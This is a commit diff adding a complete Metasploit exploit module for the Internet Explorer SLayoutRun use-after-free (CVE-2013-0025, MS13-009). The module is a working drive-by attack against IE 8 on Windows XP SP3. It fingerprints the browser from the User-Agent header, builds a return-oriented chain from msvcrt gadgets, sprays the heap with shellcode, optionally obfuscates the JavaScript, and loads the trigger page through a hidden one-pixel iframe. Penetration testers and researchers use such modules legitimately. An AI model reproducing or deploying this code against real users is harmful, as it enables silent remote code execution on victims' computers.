MS13-009 / CVE-2013-0025 ie_slayout_uaf.rb by Scott Bell

Author: jjarmoc

modules/exploits/windows/browser/ie_slayoutrun_uaf.rb

@@ -0,0 +1,238 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = AverageRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
+
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'		  => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
+			'Description'	  => %q{
+				This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
+				where a CParaElement node is released but a reference is still kept
+				in CDoc. This memory is reused when a CDoc relayout is performed.
+			},
+			'License'	  => MSF_LICENSE,
+			'Author'	  =>
+				[
+					'Scott Bell <[email protected]>',  # Vulnerability discovery & Metasploit module
+				],
+			'References'	  =>
+				[
+					[ 'CVE', '2013-0025' ],
+					[ 'MSB', 'MS13-009' ],
+					[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
+				],
+			'Payload'	  =>
+				{
+					'BadChars'		=> "\x00",
+					'Space'			=> 1024,
+					'DisableNops'		=> true,
+					'PrependEncoder'	=> "\x81\xc4\x54\xf2\xff\xff",
+				},
+			'DefaultOptions'  =>
+				{
+					'InitialAutoRunScript' => 'migrate -f'
+				},
+			'Platform'	  => 'win',
+			'Targets'	  =>
+				[
+					[ 'Automatic', {} ],
+					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
+				],
+			'Privileged'	  => false,
+			'DisclosureDate'  => "Feb 13 2013",
+			'DefaultTarget'   => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+
+	end
+
+	def get_target(agent)
+		#If the user is already specified by the user, we'll just use that
+		return target if target.name != 'Automatic'
+
+		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
+		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
+
+		ie_name = "IE #{ie}"
+
+		case nt
+		when '5.1'
+			os_name = 'Windows XP SP3'
+		end
+
+		targets.each do |t|
+			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
+				print_status("Target selected as: #{t.name}")
+				return t
+			end
+		end
+
+		return nil
+	end
+
+	def heap_spray(my_target, p)
+		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
+		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+
+		js = %Q|
+
+			var heap_obj = new heapLib.ie(0x20000);
+			var code = unescape("#{js_code}");
+			var nops = unescape("#{js_nops}");
+			while (nops.length < 0x80000) nops += nops;
+			var offset = nops.substring(0, #{my_target['Offset']});
+			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
+			while (shellcode.length < 0x40000) shellcode += shellcode;
+			var block = shellcode.substring(0, (0x80000-6)/2);
+			heap_obj.gc();
+			for (var i=1; i < 0x300; i++) {
+				heap_obj.alloc(block);
+			}
+			var overflow = nops.substring(0, 10);
+
+		|
+
+		js = heaplib(js, {:noobfu => true})
+
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+
+		end
+
+		return js
+	end
+
+	def get_payload(t, cli)
+		code = payload.encoded
+
+		# No rop. Just return the payload.
+		return code if t['Rop'].nil?
+
+		# ROP chain generated by mona.py - See corelan.be
+		case t['Rop']
+		when :msvcrt
+			print_status("Using msvcrt ROP")
+			rop_nops = [0x77c39f92].pack("V") * 11 # RETN
+			rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
+			rop_payload << rop_nops
+			rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
+			rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
+			rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
+			rop_payload << [0x77c39f92].pack("V") # RETN
+			rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
+			rop_payload << code
+
+		end
+
+		return rop_payload
+	end
+
+	def this_resource
+		r = get_resource
+		return ( r == '/') ? '' : r
+	end
+
+	def get_exploit(my_target, cli)
+		p  = get_payload(my_target, cli)
+		js = heap_spray(my_target, p)
+
+
+		html = %Q|
+		<!doctype html>
+		<html>
+		<head>
+		<script>
+		var data
+		var objArray = new Array(1800);
+		#{js}
+
+		setTimeout(function(){
+			for (var i=0;i<objArray.length;i++){
+				objArray[i] = document.createElement('body');
+				document.body.appendChild(objArray[i])
+				objArray[i].style.display = "none"
+			}
+
+			document.body.style.whiteSpace = "pre-line"
+
+			for(var i=0;i<10;i++){
+				for (var i=0;i<(objArray.length-650);i++){
+					objArray[i].className = data += unescape("%u0c0c%u0c0c");
+				}
+			}
+
+			setTimeout(function(){document.body.innerHTML = "boo"}, 100)
+		}, 100)
+
+		</script>
+		</head>
+		<body>
+		<p> </p>
+		</body>
+		</html>
+		|
+
+		return html
+	end
+
+
+	def get_iframe
+		html = %Q|
+		<html>
+		<body>
+		<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
+		</body>
+		</html>
+		|
+
+		return html
+	end
+
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+		uri   = request.uri
+		print_status("Requesting: #{uri}")
+
+		my_target = get_target(agent)
+		# Avoid the attack if no suitable target found
+		if my_target.nil?
+			print_error("Browser not supported, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		if uri =~ /#{@iframe_name}/
+			html = get_exploit(my_target, cli)
+			html = html.gsub(/^\t\t/, '')
+			print_status("Sending HTML...")
+		elsif	uri=~ /\/$/
+			html = get_iframe
+			print_status "Sending IFRAME..."
+		end
+			send_response(cli, html, {'Content-Type'=>'text/html'})
+
+
+	end
+
+	def exploit
+		@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
+		super
+	end
+end